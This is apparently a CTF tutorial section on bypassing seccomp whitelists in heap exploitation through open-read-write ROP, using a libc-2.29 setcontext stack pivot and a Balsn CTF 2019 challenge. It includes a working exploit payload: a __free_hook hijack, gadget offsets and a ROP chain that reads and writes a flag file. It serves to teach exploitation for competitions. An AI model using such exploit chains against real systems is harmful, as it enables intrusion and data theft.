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C Sandbox Escape

orw

Sometimes, to increase difficulty, pwn challenges use functions like seccomp to disable some system calls. They often disable system calls like execve, making it essentially impossible to get a shell. However, since pwn challenges are flag-oriented, we can still read the flag through the orw (open-read-write) method. Stack-based orw is not significantly different from regular ROP. Here we mainly discuss whitelist bypass in heap exploitation.

Generally speaking, for heap exploitation challenges with whitelisting enabled, after hijacking a hook function such as __free_hook or the GOT table, we consider implementing orw. At this point, we can only inject a single gadget. Typically, we want this gadget to achieve stack pivoting. A relatively common approach is to use the setcontext function, which in libc-2.29 is implemented as:

.text:0000000000055E00 ; __unwind {
.text:0000000000055E00                 push    rdi
.text:0000000000055E01                 lea     rsi, [rdi+128h] ; nset
.text:0000000000055E08                 xor     edx, edx        ; oset
.text:0000000000055E0A                 mov     edi, 2          ; how
.text:0000000000055E0F                 mov     r10d, 8         ; sigsetsize
.text:0000000000055E15                 mov     eax, 0Eh
.text:0000000000055E1A                 syscall                 ; LINUX - sys_rt_sigprocmask
.text:0000000000055E1C                 pop     rdx
.text:0000000000055E1D                 cmp     rax, 0FFFFFFFFFFFFF001h
.text:0000000000055E23                 jnb     short loc_55E80
.text:0000000000055E25                 mov     rcx, [rdx+0E0h]
.text:0000000000055E2C                 fldenv  byte ptr [rcx]
.text:0000000000055E2E                 ldmxcsr dword ptr [rdx+1C0h]
.text:0000000000055E35                 mov     rsp, [rdx+0A0h]
.text:0000000000055E3C                 mov     rbx, [rdx+80h]
.text:0000000000055E43                 mov     rbp, [rdx+78h]
.text:0000000000055E47                 mov     r12, [rdx+48h]
.text:0000000000055E4B                 mov     r13, [rdx+50h]
.text:0000000000055E4F                 mov     r14, [rdx+58h]
.text:0000000000055E53                 mov     r15, [rdx+60h]
.text:0000000000055E57                 mov     rcx, [rdx+0A8h]
.text:0000000000055E5E                 push    rcx
.text:0000000000055E5F                 mov     rsi, [rdx+70h]
.text:0000000000055E63                 mov     rdi, [rdx+68h]
.text:0000000000055E67                 mov     rcx, [rdx+98h]
.text:0000000000055E6E                 mov     r8, [rdx+28h]
.text:0000000000055E72                 mov     r9, [rdx+30h]
.text:0000000000055E76                 mov     rdx, [rdx+88h]
.text:0000000000055E76 ; } // starts at 55E00

Other versions are largely similar. As we can see, this function assigns a value to rsp. If we can control rdx, we can control rsp to achieve stack pivoting.

Example

Balsn_CTF_2019-PlainText

Analysis

The exploitation before orw will not be discussed here. Please refer to the analysis of this challenge in "Off-By-One in Heap" under the "Glibc Heap Exploitation" section.

The annoying part is that under libc-2.29, the free function no longer assigns rdi to rdx, so we cannot directly control rdx — we can only control rdi. Fortunately, there happens to be a gadget in this challenge's libc:

0x12be97: mov rdx, qword ptr [rdi + 8]; mov rax, qword ptr [rdi]; mov rdi, rdx; jmp rax;

By using this gadget to modify rdx and then returning to setcontext, we can proceed with ROP (this chunk cannot be found through ROPgadget and requires ropper instead).

Exploit

Only the payload is provided here

## alloc to __free_hook ##
magic_gadget = libc_base + 0x12be97
add(0x28,p64(magic_gadget)) # 73

pop_rdi_ret = libc_base + 0x26542
pop_rsi_ret = libc_base + 0x26f9e
pop_rdx_ret = libc_base + 0x12bda6
syscall_ret = libc_base + 0xcf6c5
pop_rax_ret = libc_base + 0x47cf8
ret = libc_base + 0xc18ff

payload_addr = heap_base + 0x270
str_flag_addr = heap_base + 0x270 + 5 * 0x8 + 0xB8
rw_addr = heap_base 

payload = p64(libc_base + 0x55E35) # rax
payload += p64(payload_addr - 0xA0 + 0x10) # rdx
payload += p64(payload_addr + 0x28)
payload += p64(ret)
payload += ''.ljust(0x8,'\x00')

rop_chain = ''
rop_chain += p64(pop_rdi_ret) + p64(str_flag_addr) # name = "./flag"
rop_chain += p64(pop_rsi_ret) + p64(0)
rop_chain += p64(pop_rdx_ret) + p64(0)
rop_chain += p64(pop_rax_ret) + p64(2) + p64(syscall_ret) # sys_open
rop_chain += p64(pop_rdi_ret) + p64(3) # fd = 3
rop_chain += p64(pop_rsi_ret) + p64(rw_addr) # buf
rop_chain += p64(pop_rdx_ret) + p64(0x100) # len
rop_chain += p64(libc_base + libc.symbols["read"])
rop_chain += p64(pop_rdi_ret) + p64(1) # fd = 1
rop_chain += p64(pop_rsi_ret) + p64(rw_addr) # buf
rop_chain += p64(pop_rdx_ret) + p64(0x100) # len
rop_chain += p64(libc_base + libc.symbols["write"])

payload += rop_chain
payload += './flag\x00'
add(len(payload) + 0x10,payload) # 74
#gdb.attach(proc.pidof(sh)[0])
delete(74)

sh.interactive()